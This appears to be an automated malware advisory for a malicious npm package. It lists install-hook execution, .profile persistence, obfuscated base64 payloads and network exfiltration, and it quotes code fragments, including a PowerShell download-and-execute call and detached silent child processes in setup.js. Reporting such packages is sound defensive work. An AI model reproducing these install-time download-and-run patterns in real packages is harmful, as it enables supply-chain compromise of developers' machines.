GCVE-110-OSM-2026-9845

Malicious package detected. Behaviors: data exfiltration, code execution, obfuscated code, install-time execution. ENTRY setup.js (install-hook: node setup.js || true) - Install Hook Executes Local JS File in package.json PERSISTENCE - Startup Persistence in lib/telemetry.js: ".profile" EXFIL - Network Request in lib/telemetry.js: "https.request(" - Network Request in setup.js: "https.get(" OBFUSCATION - Dynamic Base64 Decoding in lib/telemetry.js: "Buffer.from(chunks, "base64")" - Strings Extracted from Deobfuscated Code in lib/telemetry.js ADDITIONAL FINDINGS - Download Execute Delete Pattern in setup.js: "execSync('powershell -nop -c "irm https://' + host + urlPath + " -o '" + tmp + "..." - Shell Command Execution in setup.js: "require("child_process")" - Silent Process Execution in setup.js: "stdio: "ignore"" - Detached Child Process Payload in setup.js: "execFile(fp, [], { detached: true" - Very New NPM Publisher Account - Publisher Has Other Malicious Packages PAYLOAD FILES setup.js (+ lib/telemetry.js)